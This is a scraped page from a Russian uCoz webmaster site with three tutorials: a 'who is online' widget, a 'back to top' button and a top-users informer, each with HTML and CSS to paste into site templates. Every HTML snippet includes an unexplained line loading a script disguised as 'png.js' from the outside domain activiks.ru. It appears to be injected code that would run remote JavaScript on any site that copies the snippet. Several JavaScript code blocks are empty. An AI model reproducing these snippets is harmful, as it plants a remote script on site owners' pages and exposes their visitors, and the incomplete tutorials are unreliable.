08 Февраля 2013 - Сайт о самом Великом празднике года! ....

Вторник, 23.04.2024, 21:03

Приветствую Вас Гость
Регистрация | Вход
RSS

Happy New Year!

Форма входа

Календарь новостей

Поиск

Оплаченная реклама

Статистика

Наш опрос

Главная » 2013 » Февраль » 08

Улучшаем функцию Кто Онлайн для uCoz

Улучшаем функцию Кто Онлайн для uCoz. Всем доброго дня, в этом посте мы будем создавать и улучшать внешний вид функции "Кто онлайн" для uCoz, плюс мы добавим путём js отдельный контейнер со списком зарегистрированных пользователей которые побывали на сайте в этот день.

Шаг 1 - Переименовываем текст в статистике.:

Для начала следует изменить стандартные надписи статистики пользователей uCoz на свои, для этого заходим:

в Админ панель => Замена стандартных надписей => Статистика "Кто Онлайн"

и заменяем следующий текст на свой:

Онлайн всего: на Онлайн
Гостей: на Гостей
Пользователей: на Читателей
Шаг 2 - Установим JS:

Главная » Управление дизайном » Редактирование шаблонов

перед закрывающим тегом </body> ставим скрипт.

Код

Шаг 3 - Установим HTML:

Теперь на страницу сайта устанавливаем следующий html каркас:

Код

<div class="cell_uo">
  <div class="uzer_info">
  $ONLINE_COUNTER$
  <div id="onl4"></div>
  </div>

  
  <div id="tabs_online">
  <div class="center_dm_uo">

  <ul class="uo_ul">
  <li><a href="#first">Онлайн</a></li>
  <li><a href="#second">Кто был</a></li>
  </ul>
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <div id="first" class="uzer_online">$ONLINE_USERS_LIST$</div>
  <div id="second" class="uzer_allist"><img src="http://bambun.ru/images/loading.gif" class="uzer_loading" border="0" alt="Иконка загрузки" /></div>

  </div>
  </div>
  

  </div>

Шаг 4 - Установим CSS:

Код

/* Статистика пользователей uCoz
  ------------------------------------------*/
.cell_uo {
  float:left;
  width:250px;
  background: #fff;
  border: 1px solid #CAD3DA;
}

.uzer_info {
  float:left;
  width:250px;
  margin-bottom: 10px;
  padding: 5px 0px;
  background: #F1F3F7;
  border-bottom: 1px solid #CAD3DA;
  font:9px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #fff;
}

#onl1,
#onl2,
#onl3,
#onl4,
#onl1 b,
#onl2 b,
#onl3 b,
#onl4 b {float:left; width:61px; text-align:center;}
#onl2 {border-right: 1px solid #CAD3DA; border-left: 1px solid #CAD3DA;}
#onl4 {border-left: 1px solid #CAD3DA;}

#tabs_online {text-align:center;}

.uo_ul{
  margin:0;
  padding:0;
  list-style:none;
}

.uo_ul li {
  display: inline;
  margin: 0px 5px 0px 5px;
}

.uo_ul li a {
  color:#666;
  font-weight: bold;
  padding: 5px 10px 5px 10px;
  text-shadow: 1px 1px 1px #fff;
}

.uo_ul li a.selected,ul
.uo_ul li a.selected:hover,
.uo_ul li a:hover {color: #666; background:#F1F3F7;}
.uo_ul li a:focus {outline:0;}

.uzer_online,
.uzer_allist {
  width:230px;
  overflow: hidden;
  text-align:left;
  margin-top: 10px;
  padding: 5px 10px 5px 10px;
  border-top: 1px solid #cecece;
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

Примечания:

В данном решении я использовал скрипт Табов и Кто сегодня был, к сожалению автор последнего скрипта мне неизвестен, но если вы знаете его, то сообщите мне об этом ниже в комментариях.

Незабываем активировать на сайте uCoz функцию "Кто Онлайн" в главных настройках Админ панели.

На этом всё, спасибо за внимание!

Перевод вашего сайта в один клик (8 стран)

Установите код на свой веб-сайт или блог и сделайте его доступным на 8 языков. Ваши посетители смогут мгновенно перевести ваш контент с их переводчиком по выбору используя простой интерфейс - все это без надобности покидать ваш веб-сайт! Транслятор делает перевод простым, и ваши посетители полюбят его! Легко установить, легко использовать.

Код

Кнопка вверх (new)

Всем привет

Бывают всякие страницы, в том числе и очень приочень длинные, и чтобы не вертеть колесиком мыши, или же просто не тащить постоянно скролл существуют такой помошник, как кнопка "вверх". Именно они без проблем перемотают нас верх страницы. Одну из таких я и предлагаю вам поставить на свой сайт, она чем то похожа на кнопку вконтакте, но основное стилевое решение было взято с сайта kinopoisk.

Слева у нас есть область которая по всей высоте окна браузера кликабельна как и кнопка "наверх" находящаяся в ней, при клике на эту область мы плавно поднимаемся вверх страницы. Для сайтов у которых разрешение экрана меньше или равно 1024px, будет видна только стрелка вверх, чтобы серый фон не закрывал часть сайта.

Установка CSS

Теперь давайте начнем установку на сайт, тем более что она крайне проста, вначале скопируем данный код в таблицу стилей, ПУ / Дизайн / Управление дизайном (CSS)

Код

.upTop {
  display:none;
  width:100px;
  height:100%;
  position:fixed;
  left:0px;
  top:0px;
  z-index:100;
}
.upTopButton {
  background:#777777 url(http://bambun.ru/images/goup.png) no-repeat;
  width:27px;
  height:27px;
  position:fixed;
  top:10px;
  left:10px;
  cursor:pointer;
}
.upTopZone {
  display:none;
  background:url(http://bambun.ru/images/upbg.png) repeat;
  width:100px;
  height:100%;
  cursor:pointer;
}
.upTopZone p {
  background:#777777;
  font-size:12px;
  width:63px;
  height:27px;
  margin:0;
  position:fixed;
  top:10px;
  left:37px;
  color:#fff;
  font-family:"tahoma", "verdana", "arial";
  line-height:25px;
  text-align:center;
  text-shadow:1px 1px 1px #000000;
}
@media screen and (max-width:1024px) {
  .upTopZone {
  display:none !important;
  }
} .blue .upTopButton, .blue .upTopZone p {
  background-color:#3fa3e1;
}
.green .upTopButton, .green .upTopZone p {
  background-color:#60bf3a;
}
.red .upTopButton, .red .upTopZone p {
  background-color:#ca2929;
}
.orange .upTopButton, .orange .upTopZone p {
  background-color:#ef990b;
}
.purple .upTopButton, .purple .upTopZone p {
  background-color:#b053a0;
}
.grey .upTopButton, .grey .upTopZone p {
  background-color:#777777;
}

Установка HTML

Данный код копируем и вставляем куда хотим, главное в тело страницы, можете поставить перед тегом </body>

Код

<div class="upTop blue">
  <div class="upTopZone"><p>наверх</p></div>
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <div class="upTopButton"></div>
</div>

Установка JS

Вставляем данный код также перед тегом </body>

Код

На этом установка кнопки вверх для сайта закончена, по традиции я предлагаю несколько цветовых схем, чтобы каждый мог без труда применить сразу, полностью готовое решение у себя на сайте. Чтобы изменить основной цвет кнопки наверх, измените в html коде, класс blue на нужный из списка

blue - голубой
green - зеленый
red - красный
orange - оранжевый
purple - пурпурный
grey - серый

Tоп пользователей с дополнительной информацией V2

Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

Код

<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user <?if($NUMBER$=10)?>bottom_no<?endif?>" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avoar.jpg<?endif?>"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span><?if($GENDER$)?>$GENDER$<?else?>----------<?endif?></li>
  <li><span>Ранг:</span><?if($код$)?> $RANK_NAME$<?else?>----------<?endif?></li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>

А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

Код

<div class="top_user">
<div class="top_user_title">Топ пользователей</div>
$MYINF_1$
</div>

Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

Код

/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;

  padding: 7px 10px 3px 10px;
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}

.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;
  height:25px;
  padding: 5px 10px 5px 10px;
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {
  float:left;
  margin-top: 5px;
}

.drop_top_user span {
  float:right;
  width:55px;
  height:20px;
  text-align:right;
  padding: 5px 0px 0px 5px;
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;
}

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,
.ddm_ugol_user{
  width:250px;
}

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;
  border-radius:3px;
}


.ddm_content_user {
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}

.ddm_top_user:hover .ddm_cell_user{
  top: 0px;
  right:255px;
  left:auto;
}

.ddm_ugol_user {
  height:17px;
  top: 10px;
  right: -9px;
  position:absolute;
  background:url(angle_right.png) no-repeat right;
}

.ddm_content_top {
  float:left;
  width:100%;
  margin-bottom: 10px;
  padding: 0px 0px 5px 0px;
  border-bottom:1px solid #CAD3DA;
}

.ddm_content_top span {
  float:right;
  margin-top:2px;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#999;
}

.ddm_content_user ul{
  margin:0;
  padding:0;
  list-style:none;
}

.ddm_content_user li{
  float:left;
  width:100%;
  padding: 3px 0px 3px 0px;
}

.ddm_content_user li span{
  float:left;
  width:120px;
}

.cu_li1 {background:#fff}
.cu_li2 {background:#F7F9FB;}

.bottom_no {
  border-bottom:none;
}

Шаг 3 - Установим JS:

А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом </body> следующий js

Код